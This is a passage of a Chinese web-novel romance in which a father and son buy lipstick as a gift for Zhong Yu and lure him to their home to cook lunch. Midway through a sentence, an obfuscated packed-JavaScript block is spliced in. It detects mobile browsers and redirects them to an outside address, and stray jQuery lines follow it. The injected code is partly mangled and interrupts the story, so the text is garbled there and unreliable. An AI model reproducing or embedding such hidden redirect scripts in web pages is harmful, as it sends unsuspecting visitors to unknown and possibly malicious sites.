今天每道菜都合胃口,钟虞本来就吃了不少,香蕉船份量又足,他吃一半实在吃不下,蒋绍言见状说:“吃不下就不吃了,给我。”
钟虞惊讶地看他。
蒋绍言不以为意:“怎么这副表情,刚才不是说了,吃不完剩下的我来解决?再说——”
蒋绍言特意停顿,深深看了他一眼:“以前又不是没吃过你剩的。”
有理有据,还有过去无可否认的事实做例证,钟虞无话可说。
把钟虞的香蕉船拿到面前,蒋绍言先看了一眼,巧克力的没动,草莓的吃了一半,香草的都吃了,他默默记下钟虞的喜好,不像刚才那样囫囵,而是一口一口细品,吃剩也津津有味。
他猜要是钟虞会读心,八成又要说他神经。
吃完饭,蒋兜兜突然宣布不跟钟虞回酒店,因为他还有别的安排。
蒋绍言冷眼旁观,小崽子不知道又捣什么鬼。
钟虞愣了愣,说好。蒋绍言开车将他送回酒店,蒋兜兜随钟虞下车,站在门口不舍地抱了好久,说明天一定再来找钟虞。
钟虞说好。
蒋兜兜上车,蒋绍言驾车离开,还见钟虞站在门廊下目送他们,而蒋兜兜也扭着身子一直挥手。直到上主路,再看不见了,蒋兜兜才扭回身子,对蒋绍言说:“爸爸我想去商场。”
大概知道今天多次挑战了蒋绍言底线,蒋兜兜现在乖得很,提要求前还知道叫爸爸。
蒋绍言从后视镜里看他一眼:“去商场做什么?”
“我想给小虞儿买个礼物。”
“买什么?”
蒋兜兜眨眨眼:“我能先保密吗?”
蒋绍言也不是一定要他说,反正待会儿买的时候他就能知道。
既然是给钟虞买礼物,那必须要去最好的商场。父子俩想法一致,蒋绍言随即调转方向开车过去。
到商场,蒋兜兜下车,从地库坐电梯上楼,电梯门刚一开,就仿佛被拉进了一个繁华璀璨的另个世界。
他没头苍蝇似的东转西转,蒋绍言不紧不慢地跟在后头,也不催他。
等他们第二次经过天井下方的服务台的时候,一直注意蒋兜兜的工作人员便走出来,问蒋兜兜需要什么。
蒋兜兜停下,蒋绍言跟着停下,想听这小孩怎么说。
他听蒋兜兜说:“姐姐你好,我想买口红。”
工作人员愣了愣:“买口红?”
蒋兜兜点头:“嗯嗯,口红,抹嘴上的那个。”
蒋绍言站在后头,也听到了。
一晚上被小崽子频繁挑衅,正想着怎么回家给他立规矩,此刻听蒋兜兜说要买口红,不知为何,蒋绍言突然就笑了!
26.奶油色
父子俩被工作人员领到彩妆柜台前。
展示架上陈列成百上千支口红,各种颜色,不同粗细,不同长短,还不同质地……蒋兜兜眼花缭乱,闭上眼,揉一揉,再睁开……怎么还这么多?!
他无助地看向蒋绍言。
蒋绍言也没买过这玩意儿,对口红的了解仅限于知道有不同色号,这点了解源于前年投资的一家美妆公司,那家公司负责人来他办公室侃侃而谈口红和口红经济,拍马屁大赞“蒋总眼光独到!”,浓重的香水味熏得他头疼,他便寻个理由礼貌地把人请了出去。
谁想这里头好像水很深,没那么简单。
导购见一个英俊男人领着个可爱小男孩光临,忙不迭走过去问需要什么,蒋兜兜表情讷讷的,说要买口红。
导购看看蒋绍言又看看蒋兜兜:“小朋友给妈妈买吗?”
“对,给我爱人买,想当礼物送他。”蒋绍言接过话,“有什么推荐吗?”
导购突然感到羡慕,这么帅的老公和儿子一起来挑口红当礼物。导购问:“请问您太太之前一般用什么牌子什么色号呢?”
蒋绍言和蒋兜兜对视一眼,同时沉默。
导购见惯了,立刻换种问法:“……那请问您太太皮肤白吗?”
“白。”
“白!”
这回异口同声。
导购继续问:“唇色呢?偏深还是偏淡?平时会干吗?唇形什么样?唇线明不明显?平时会化妆吗?”
蒋绍言略略思索,以认真严谨的态度一一回答:“唇色偏浅,粉里带点红,不过一吃辣就会变得很红。会有些干,他不怎么记得喝水,但喝了水嘴唇就会变得很润泽。形状很好看,像花瓣,下唇比上唇略微饱满………”
因为没什么客人,所以另一名导购也走过来,闻言与自己同事对视一眼,不约而同心想:观察得这么仔细,估计平时没少盯着看吧。
最后导购推荐三种不同质地和色号,分别是珠光带细闪,奶油,还有丝绒。
蒋兜兜一听奶油就来劲儿:“要奶油要奶油!”
蒋绍言请导购在试色板上画了一道印,他仔细观察那颜色,果真有点像奶油,丰润丝滑,叫他不禁回忆起晚上在餐厅,钟虞伸舌头舔奶油的那一幕,眼神暗了暗,拍板说就买这一支。
因为要作礼物送出,导购特意精心包装了一番,把口红装进一个小巧精致的购物袋里。蒋绍言刷卡付钱,接过那袋子。
蒋兜兜立刻就要抢,蒋绍言轻轻一提不让他碰,蒋兜兜拿眼瞪他:“这是我给小虞儿的礼物!”
蒋绍言淡淡一笑:“我开的车,我付的钱,怎么成你的礼物?”
小崽子不服气,但也反驳不了。
蒋绍言不是想抢他这份功,而是以此为筹码来谈条件。上车后,他看着后座气鼓鼓的蒋兜兜问:“你是不是打算明天去找他的时候送?”
蒋兜兜偏过头:“哼。”
蒋绍言心中好笑,继续说:“去找他无非就是在外面吃喝玩,我给你提供另一种方案,你想不想吃他亲手做的饭,吃完饭跟他一起看电视打游戏,晚上一起散步,然后让他读故事给你听再搂着你睡觉?”
每一条都稳准狠地捏在了蒋兜兜的七寸上,蒋兜兜在蒋绍言说话的时候就一点点把头转回来,眼睛越发地亮,到最后忍不住疯狂点头。
他想,他可太想了!
蒋绍言循循善诱,此刻图穷匕见:“那就不要去找他,让他到家里来,而且礼物你也可以送给他。”
蒋兜兜思考两秒,点头同意了。
父子俩达成共识,第二天一早,蒋绍言打给钟虞,说蒋兜兜有些拉肚子,恐怕今天不能再去外面吃饭。
倒也不算说谎,蒋兜兜前一晚回来肚子的确有些不舒服,大约是吃了冰淇淋的缘故。
不过蒋兜兜没哼也没闹,乖乖爬上床睡觉,他从小就知道,选择自己做,后果自己担,既然要吃冰淇淋就要承受吃完了可能不舒服的后果。
但面对钟虞就不一样了,蒋兜兜抱着肚子装可怜,对着手机说:“小虞儿,爸爸说我今天最好在家休息,可我好想你,你能来陪我吗?我还准备了礼物想送你。”
蒋绍言把手机又拿回来,再添一把火:“过来吧,他今天心情好像不太好,早上起来就闷闷不乐,你要是没事就来陪陪他。”
大约钟虞终于松口,蒋绍言脸上展露些许笑意,冲正扒着他的手臂想要偷听的蒋兜兜递了个成功的眼神。
那头不知道说了什么,蒋绍言缓步向前,长身立在落地窗边,单手伸在居家裤的衣兜里,说:“家里什么都有,不用买直接过来就行……也好,那你买点水果吧,兜兜爱吃草莓……不着急,慢慢过来,我们等你。”
挂了电话一回头,蒋绍言就见蒋兜兜兴奋地从沙发跳起来,双手竖在半空比耶。
蒋绍言受他感染,笑容更深,但有些事还是得说在前头,于是他走过去站在蒋兜兜面前,神情略显严肃地说:“待会儿他来,你跟他说想吃他做的饭。”
蒋兜兜一边蹦一边点头。
蒋绍言又话锋一转:“但你不要进厨房。”
蒋兜兜停下来:“为什么啊?”
蒋绍言没用“厨房油烟大小孩子不能进”那一套来糊弄,或者“听话我给你买玩具”来交换,而是十分坦诚地说:“因为我想和他单独待在一起。”
蒋兜兜眨巴眨巴眼,若有所思。
蒋绍言继续说:“就像你想和他待在一起一样,所以作为交换,你和他看电视玩游戏的时候,我也不会打扰。”
听起来很公平,但蒋兜兜精得很,想了想问:“那晚上散步呢?”
蒋绍言说:“我们一起散步。”
蒋兜兜立马又问:“那睡觉呢?”
蒋绍言卡壳,跟小崽子大眼瞪小眼,半晌,伸手在蒋兜兜头发上胡撸了一把:“先把人留下来再说。”
*
钟虞到的时候,给蒋绍言打了电话。
蒋兜兜早穿戴好,一听钟虞来了立刻往外蹿,蒋绍言拿了大衣跟在后面,两人一道下楼。
钟虞正往小区里走,开始他以为有门禁,进不来,谁料门口保安看他一眼就放他进来,他猜大约是蒋绍言提前打过招呼。
所以双方在小区的喷泉边相遇,钟虞两手拎满东西,除了草莓,还有好些其他水果和礼物。
上次来情况紧急,他空着手,这次总不能还空手上门,他将自己定位为客人,得有相应的礼貌和客气。
“小虞儿!”
孩童的声音惊起树上休憩的鸟雀,钟虞将手里东西搁下,俯身张开双臂迎接飞奔而来的蒋兜兜。
这日天气很好,天空蓝得不像话,太阳高照,微风吹拂,是独属于秋日的温暖,喷泉向天空喷洒晶莹水滴,旁边的一大一小紧紧拥抱,构成一幅叫蒋绍言终生难忘的画面。
“怎么下来了,身体好点了吗?”
“好了好了,一看到你就全好了!”
紧随其后的蒋绍言正好听见,心想蒋兜兜惯会甜言蜜语哄人,也不知道随了谁。钟虞抱着蒋兜兜站起来,两人视线在半空碰了一下,蒋绍言微微一笑,自觉拎起地上东西。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516533|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
上次来钟虞没注意,这次他特地留意了一下路线,搭电梯上楼,开门,蒋兜兜第一个跑进去,给钟虞拿准备好的拖鞋。
还是上次那印着小黄鸭图案的拖鞋,等钟虞穿好,蒋兜兜才穿进自己那双里,两脚并在一起同钟虞并排站着,蒋绍言就见四只鸭子在眼前排队。
钟虞心中既暖又甜,还夹杂别的难以言说的情绪,他想起蒋绍言说蒋兜兜去超市一眼挑中这图案,于是问:“兜兜,你为什么喜欢这个鸭子?”
蒋兜兜歪着脑袋认真想了想:“不知道耶,反正我就喜欢。”
钟虞摸摸他的头。
钟虞来之前,父子俩人对他的时间做了严谨划分,蒋绍言分秒必争,蒋兜兜寸土不让,于是此刻,蒋兜兜冲蒋绍言挑眉眨眼,那意思——爸爸,你该退场了。
蒋绍言将钟虞买的那堆东西拎进厨房,洗了草莓切了橙子端到客厅,对钟虞说:“你陪他待会儿,我上楼处理点事。”
说完蒋绍言就上楼去书房,不过他特意没关门,很快听到楼下传来电视声,像是蒋兜兜喜欢的蜘蛛侠,偶尔能听到父子俩的交谈还有一两声轻笑。
蒋绍言坐在书桌后头,文件摊开在面前,就这么垂手静坐,听楼下的声音。
手机设定的闹铃在11点一刻准时响起,蒋绍言终于动了,施施然起身下楼,走到楼梯转角正好蒋兜兜抬头。
蒋绍言隐晦地递过去一个眼神。
蒋兜兜接收到,一扁嘴,虽不情愿但很有契约精神,从没骨头粘在钟虞怀里的姿势爬起来,做作地摸摸肚子然后说:“小虞儿,我有点饿。”
刚消灭半盘草莓,这么快饿了?钟虞问:“那……吃饭吗?”
蒋绍言单手插兜,姿态优雅地从楼梯走下,适时接话:“饿了?我去做饭。”
蒋兜兜没忘台词:“我想吃小虞儿做的饭。”
钟虞愣了愣,他看看蒋兜兜,又同蒋绍言对视几秒,说行,接着从沙发起身,跟蒋绍言一起往厨房走。
厨房料理台上堆满食材,都是蒋绍言一早叫人采买了送来的。
钟虞有些手足无措,看看那堆菜又看看蒋绍言。蒋绍言笑问他:“会做吗?”
以前的钟虞是不太会做的,但分别六年,蒋绍言不那么确定了。
等待答案的那几秒,蒋绍言竟罕见地感到紧张。
钟虞垂手站着,诚实讲:“不太会。”
蒋绍言挑眉:“在国外没自己做?”
钟虞的心微微动了一下,这还是蒋绍言第一次提起他在国外的事,口气平常好像只是随口闲聊。他同那双漆黑深邃的眼睛平静地对视,猜不透蒋绍言到底什么意思,片刻才说:“没有,只会做三明治。”
面包里夹点火腿生菜,撒上沙拉就是一餐,他那时白天打工晚上备考,没那么多时间花在吃饭这件事情上,即便后来进律所开始接案子,经济状况改善,但也不敢松懈,几乎所有收入都被他存起来,他强迫自己一直往前,一刻不停。
蒋绍言沉默,听到预想中的回答,既轻松也不轻松,更多是密密的心疼,他问:“吃那个能习惯吗?”
“没什么习不习惯。”
钟虞语气淡淡,仿佛不以为意,目光撇开,表示他不想再进行这个话题。
明知道这么说会叫他心疼……蒋绍言一时间不确定钟虞是有意还是无意。
钟虞侧身而立,脸转向窗外,留给蒋绍言一道清瘦倔强的侧影。
蒋绍言默默注视片刻,咽下一声叹息,走到墙边摘下围裙套上,对钟虞说:“那你给我打下手吧。”